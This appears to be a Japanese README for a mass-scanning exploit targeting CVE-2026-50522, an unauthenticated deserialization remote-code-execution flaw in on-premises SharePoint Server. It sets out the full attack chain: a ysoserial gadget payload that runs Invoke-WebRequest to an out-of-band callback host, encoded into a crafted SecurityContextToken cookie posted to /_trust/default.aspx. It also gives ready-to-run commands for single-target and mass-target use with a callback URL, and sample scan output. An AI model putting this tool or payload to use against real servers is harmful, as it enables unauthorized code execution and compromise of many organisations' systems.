CVE-2026-50522 PoC : SharePoint の逆シリアル化 RCE

SharePoint Server の SecurityContextToken クッキーの逆シリアル化による未認証リモートコード実行

CVE-2026-50522 を対象としたマススキャンエクスプロイト。オンプレミスの Microsoft SharePoint Server を標的にします。/_trust/default.aspx WS-Federation エンドポイントにおける安全でない BinaryFormatter の逆シリアル化を悪用し、巧妙に細工された SecurityContextToken クッキーを介して未認証のコード実行を実現します。

注: このプロジェクトには、既知のペネトレーションテストツールである ysoserial が含まれているため、ダウンロード中にウイルス対策ソフトが警告したり、隔離したりする可能性があります。

脆弱性情報

• CVE: CVE-2026-50522
• タイプ: CWE-502 信頼されないデータの逆シリアル化
• CVSS 3.1: 9.8 (緊急)
• 認証: 認証不要
• 影響を受けるバージョン:
  • Microsoft SharePoint Server Subscription Edition (16.0.19725.20434 より前)
  • Microsoft SharePoint Server 2019 (16.0.10417.20175 より前)
  • Microsoft SharePoint Enterprise Server 2016 (16.0.5561.1001 より前)

動作の仕組み

1. ysoserial.exe は TypeConfuseDelegate ガジェットを使用して BinaryFormatter シリアル化ペイロードを生成します
2. ペイロードは Invoke-WebRequest を実行してアウトオブバンドのコールバック URL にアクセスします
3. 生のバイト列は deflate (zlib) 圧縮され、Base64 エンコードされてクッキー値に変換されます
4. クッキーは SecurityContextToken XML 構造内にラップされます
5. トークンは RequestSecurityTokenResponse (WS-Federation) に埋め込まれます
6. wresult パラメータが /_trust/default.aspx に POST されます
7. SharePoint がトークンを逆シリアル化し、IIS ワーカープロセスでコード実行を引き起こします

要件

• Python 3.10+ と requests ライブラリ
• ysoserial.net (ダウンロード)
• OOB コールバックサーバー (Burp Collaborator、interactsh、OAST)

使用方法

単一ターゲット

python CVE-2026-50522.py -t http://10.10.10.5 -c http://YOUR_ID.oastify.com

マススキャン

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com

カスタム ysoserial パス

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --ysoserial C:\tools\ysoserial.exe

プロキシ使用

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com -x http://127.0.0.1:8080

サブドメインコールバックモード

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --callback-mode subdomain

オプション

コールバックモード

パスモード (デフォルト):

http://YOUR_ID.oastify.com/10.10.10.5

サブドメインモード:

http://10.10.10.5.YOUR_ID.oastify.com

出力例

[*] 50 target(s) | callback: http://abc123.oastify.com (path) | ysoserial: ysoserial.exe
[10.10.10.5] [+] 200 [LOGIN_PAGE,AUTH_COOKIE]
[10.10.10.6] [!] 200 [AMSI_BLOCKED]
[10.10.10.7] [!] TIMEOUT
[10.10.10.8] [!] SSL_ERR
[10.10.10.9] [!] 403 [HTTP_403]

[*] 45.2s | 50 total | 12 potential | 3 amsi | 5 failed

参考

• Microsoft - CVE-2026-50522
• SOCRadar - CVE-2026-50522 PoC が SharePoint 攻撃を促進
• thehackernews - 公開 PoC 後に活発に悪用されている重大な SharePoint RCE CVE-2026-50522